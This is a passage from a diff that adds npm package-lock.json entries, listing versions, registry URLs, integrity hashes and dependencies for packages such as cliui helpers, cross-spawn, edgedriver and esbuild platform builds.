"node_modules/cliui/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/cliui/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/cliui/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/cliui/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/cliui/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cliui/node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/clone": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", + "integrity": "sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==", + "dev": true, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "node_modules/commander": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", + "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "dev": true, + "engines": { + "node": "^12.20.0 || >=14" + } + }, + "node_modules/compress-commons": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-5.0.1.tgz", + "integrity": "sha512-MPh//1cERdLtqwO3pOFLeXtpuai0Y2WCd5AhtKxznqM7WtaMYaOEMSgn45d9D10sIHSfIKE603HlOp8OPGrvag==", + "dev": true, + "dependencies": { + "crc-32": "^1.2.0", + "crc32-stream": "^5.0.0", + "normalize-path": "^3.0.0", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "node_modules/convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==", + "dev": true + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", + "dev": true + }, + "node_modules/crc-32": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/crc-32/-/crc-32-1.2.2.tgz", + "integrity": "sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==", + "dev": true, + "bin": { + "crc32": "bin/crc32.njs" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/crc32-stream": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-5.0.0.tgz", + "integrity": "sha512-B0EPa1UK+qnpBZpG+7FgPCu0J2ETLpXq09o9BkLkEAhdB6Z61Qo4pJ3JYu0c+Qi+/SAL7QThqnzS06pmSSyZaw==", + "dev": true, + "dependencies": { + "crc-32": "^1.2.0", + "readable-stream": "^3.4.0" + }, + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/create-require": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz", + "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==", + "dev": true + }, + "node_modules/cross-fetch": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-4.0.0.tgz", + "integrity": "sha512-e4a5N8lVvuLgAWgnCrLr2PP0YyDOTHa9H/Rj54dirp61qXnNq46m82bRhNqIA5VccJtWBvPTFRV3TtvHUKPB1g==", + "dev": true, + "dependencies": { + "node-fetch": "^2.6.12" + } + }, + "node_modules/cross-fetch/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "dev": true, + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/cross-spawn/node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true + }, + "node_modules/cross-spawn/node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/css-shorthand-properties": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/css-shorthand-properties/-/css-shorthand-properties-1.1.1.tgz", + "integrity": "sha512-Md+Juc7M3uOdbAFwOYlTrccIZ7oCFuzrhKYQjdeUEW/sE1hv17Jp/Bws+ReOPpGVBTYCBoYo+G17V5Qo8QQ75A==", + "dev": true + }, + "node_modules/css-value": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/css-value/-/css-value-0.0.1.tgz", + "integrity": "sha512-FUV3xaJ63buRLgHrLQVlVgQnQdR4yqdLGaDu7g8CQcWjInDfM9plBTPI9FRfpahju1UBSaMckeb2/46ApS/V1Q==", + "dev": true + }, + "node_modules/data-uri-to-buffer": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", + "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", + "dev": true, + "engines": { + "node": ">= 12" + } + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decamelize": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-6.0.0.tgz", + "integrity": "sha512-Fv96DCsdOgB6mdGl67MT5JaTNKRzrzill5OH5s8bjYJXVlcXyPYGyPsUkWyGV5p1TXI5esYIYMMeDJL0hEIwaA==", + "dev": true, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "dev": true, + "dependencies": { + "mimic-response": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/decompress-response/node_modules/mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/deepmerge-ts": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/deepmerge-ts/-/deepmerge-ts-5.1.0.tgz", + "integrity": "sha512-eS8dRJOckyo9maw9Tu5O5RUi/4inFLrnoLkBe3cPfDMx3WZioXtmOew4TXQaxq7Rhl4xjDtR7c6x8nNTxOvbFw==", + "dev": true, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/defaults": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.4.tgz", + "integrity": "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==", + "dev": true, + "dependencies": { + "clone": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/defer-to-connect": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", + "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/define-properties": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.0.tgz", + "integrity": "sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==", + "dev": true, + "dependencies": { + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/degenerator": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/degenerator/-/degenerator-5.0.1.tgz", + "integrity": "sha512-TllpMR/t0M5sqCXfj85i4XaAzxmS5tVA16dqvdkMwGmzI+dXLXnw3J+3Vdv7VKw+ThlTMboK6i9rnZ6Nntj5CQ==", + "dev": true, + "dependencies": { + "ast-types": "^0.13.4", + "escodegen": "^2.1.0", + "esprima": "^4.0.1" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/devtools-protocol": { + "version": "0.0.1188743", + "resolved": "https://registry.npmjs.org/devtools-protocol/-/devtools-protocol-0.0.1188743.tgz", + "integrity": "sha512-FZDQC58vLiGR2mjSgsMzU8aEJieovMonIyxf38b775eYdIfAYgSzyAWnDf0Eq6ouF/L9qcbqR8jcQeIC34jp/w==", + "dev": true + }, + "node_modules/diff": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-5.1.0.tgz", + "integrity": "sha512-D+mk+qE8VC/PAUrlAU34N+VfXev0ghe5ywmpqrawphmVZc1bEfn56uo9qpyGp1p4xpzOHkSW4ztBd6L7Xx4ACw==", + "dev": true, + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/diff-sequences": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.6.3.tgz", + "integrity": "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q==", + "dev": true, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/dotenv": { + "version": "16.3.1", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.3.1.tgz", + "integrity": "sha512-IPzF4w4/Rd94bA9imS68tZBaYyBWSCE47V1RGuMrB94iyTOIEwRmVL2x/4An+6mETpLrKJ5hQkB8W4kFAadeIQ==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/motdotla/dotenv?sponsor=1" + } + }, + "node_modules/duplexer2": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/duplexer2/-/duplexer2-0.1.4.tgz", + "integrity": "sha512-asLFVfWWtJ90ZyOUHMqk7/S2w2guQKxUI2itj3d92ADHhxUSbCMGi1f1cBcJ7xM1To+pE/Khbwo1yuNbMEPKeA==", + "dev": true, + "dependencies": { + "readable-stream": "^2.0.2" + } + }, + "node_modules/duplexer2/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/duplexer2/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + }, + "node_modules/duplexer2/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "dev": true + }, + "node_modules/easy-table": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/easy-table/-/easy-table-1.2.0.tgz", + "integrity": "sha512-OFzVOv03YpvtcWGe5AayU5G2hgybsg3iqA6drU8UaoZyB9jLGMTrz9+asnLp/E+6qPh88yEI1gvyZFZ41dmgww==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "optionalDependencies": { + "wcwidth": "^1.0.1" + } + }, + "node_modules/easy-table/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/edge-paths": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/edge-paths/-/edge-paths-3.0.5.tgz", + "integrity": "sha512-sB7vSrDnFa4ezWQk9nZ/n0FdpdUuC6R1EOrlU3DL+bovcNFK28rqu2emmAUjujYEJTWIgQGqgVVWUZXMnc8iWg==", + "dev": true, + "dependencies": { + "@types/which": "^2.0.1", + "which": "^2.0.2" + }, + "engines": { + "node": ">=14.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/shirshak55" + } + }, + "node_modules/edge-paths/node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true + }, + "node_modules/edge-paths/node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/edgedriver": { + "version": "5.3.6", + "resolved": "https://registry.npmjs.org/edgedriver/-/edgedriver-5.3.6.tgz", + "integrity": "sha512-AvrkKsaMx8X5M64NVgPTfA+XTnOv6bvxH1Cp1m8cBQQVD0HEaC9OJMwPV9Kmqnxh0fCL7VJiBKZH5YOfikbB0g==", + "dev": true, + "hasInstallScript": true, + "dependencies": { + "@wdio/logger": "^8.11.0", + "decamelize": "^6.0.0", + "edge-paths": "^3.0.5", + "node-fetch": "^3.3.2", + "unzipper": "^0.10.14", + "which": "^4.0.0" + }, + "bin": { + "edgedriver": "bin/edgedriver.js" + } + }, + "node_modules/ejs": { + "version": "3.1.9", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.9.tgz", + "integrity": "sha512-rC+QVNMJWv+MtPgkt0y+0rVEIdbtxVADApW9JXrUVlzHetgcyczP/E7DJmWJ4fJCZF2cPcBk0laWO9ZHMG3DmQ==", + "dev": true, + "dependencies": { + "jake": "^10.8.5" + }, + "bin": { + "ejs": "bin/cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.4.509", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.509.tgz", + "integrity": "sha512-G5KlSWY0zzhANtX15tkikHl4WB7zil2Y65oT52EZUL194abjUXBZym12Ht7Bhuwm/G3LJFEqMADyv2Cks56dmg==", + "dev": true + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dev": true, + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dev": true, + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/es6-object-assign": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/es6-object-assign/-/es6-object-assign-1.1.0.tgz", + "integrity": "sha512-MEl9uirslVwqQU369iHNWZXsI8yaZYGg/D65aOgZkeyFJwHYSxilf7rQzXKI7DdDuBPrBXbfk3sl9hJhmd5AUw==", + "dev": true + }, + "node_modules/esbuild": { + "version": "0.18.20", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.18.20.tgz", + "integrity": "sha512-ceqxoedUrcayh7Y7ZX6NdbbDzGROiyVBgC4PriJThBKSVPWnnFHZAkfI1lJT8QFkOwH4qOS2SJkS4wvpGl8BpA==", + "dev": true, + "hasInstallScript": true, + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/android-arm": "0.18.20", + "@esbuild/android-arm64": "0.18.20", + "@esbuild/android-x64": "0.18.20", + "@esbuild/darwin-arm64": "0.18.20", + "@esbuild/darwin-x64": "0.18.20", + "@esbuild/freebsd-arm64": "0.18.20", + "@esbuild/freebsd-x64": "0.18.20", + "@esbuild/linux-arm": "0.18.20", + "@esbuild/linux-arm64": "0.18.20", + "@esbuild/linux-ia32": "0.18.20", + "@esbuild/linux-loong64": "0.18.20", + "@esbuild/linux-mips64el": "0.18.20", + "@esbuild/linux-ppc64": "0.18.20", + "@esbuild/linux-riscv64": "0.18.20", + "@esbuild/linux-s390x": "0.18.20", + "@esbuild/linux-x64": "0.18.20", + "@esbuild/netbsd-x64": "0.18.20", + "@esbuild/openbsd-x64": "0.18.20", + "@esbuild/sunos-x64": "0.18.20", + "@esbuild/win32-arm64": "0.18.20", + "@esbuild/win32-ia32": "0.18.20", + "@esbuild/win32-x64": "0.18.20" + } + }, + "node_modules/esbuild-android-64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-android-64/-/esbuild-android-64-0.14.54.tgz", + "integrity": "sha512-Tz2++Aqqz0rJ7kYBfz+iqyE3QMycD4vk7LBRyWaAVFgFtQ/O8EJOnVmTOiDWYZ/uYzB4kvP+bqejYdVKzE5lAQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-android-arm64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-android-arm64/-/esbuild-android-arm64-0.14.54.tgz", + "integrity": "sha512-F9E+/QDi9sSkLaClO8SOV6etqPd+5DgJje1F9lOWoNncDdOBL2YF59IhsWATSt0TLZbYCf3pNlTHvVV5VfHdvg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-darwin-64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-darwin-64/-/esbuild-darwin-64-0.14.54.tgz", + "integrity": "sha512-jtdKWV3nBviOd5v4hOpkVmpxsBy90CGzebpbO9beiqUYVMBtSc0AL9zGftFuBon7PNDcdvNCEuQqw2x0wP9yug==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-darwin-arm64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-darwin-arm64/-/esbuild-darwin-arm64-0.14.54.tgz", + "integrity": "sha512-OPafJHD2oUPyvJMrsCvDGkRrVCar5aVyHfWGQzY1dWnzErjrDuSETxwA2HSsyg2jORLY8yBfzc1MIpUkXlctmw==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-freebsd-64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-freebsd-64/-/esbuild-freebsd-64-0.14.54.tgz", + "integrity": "sha512-OKwd4gmwHqOTp4mOGZKe/XUlbDJ4Q9TjX0hMPIDBUWWu/kwhBAudJdBoxnjNf9ocIB6GN6CPowYpR/hRCbSYAg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-freebsd-arm64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-freebsd-arm64/-/esbuild-freebsd-arm64-0.14.54.tgz", + "integrity": "sha512-sFwueGr7OvIFiQT6WeG0jRLjkjdqWWSrfbVwZp8iMP+8UHEHRBvlaxL6IuKNDwAozNUmbb8nIMXa7oAOARGs1Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-32": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-linux-32/-/esbuild-linux-32-0.14.54.tgz", + "integrity": "sha512-1ZuY+JDI//WmklKlBgJnglpUL1owm2OX+8E1syCD6UAxcMM/XoWd76OHSjl/0MR0LisSAXDqgjT3uJqT67O3qw==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-64": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-linux-64/-/esbuild-linux-64-0.14.54.tgz", + "integrity": "sha512-EgjAgH5HwTbtNsTqQOXWApBaPVdDn7XcK+/PtJwZLT1UmpLoznPd8c5CxqsH2dQK3j05YsB3L17T8vE7cp4cCg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-arm": { + "version": "0.14.54", + "resolved": "https://registry.npmjs.org/esbuild-linux-arm/-/esbuild-linux-arm-0.14.54.tgz", + "integrity": "sha512-qqz/SjemQhVMTnvcLGoLOdFpCYbz4v4fUo+TfsWG+1aOu70/80RV6bgNpR2JCrppV2moUQkww+6bWxXRL9YMGw==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-arm64": { + "version": "0.14.54", + "resolved": 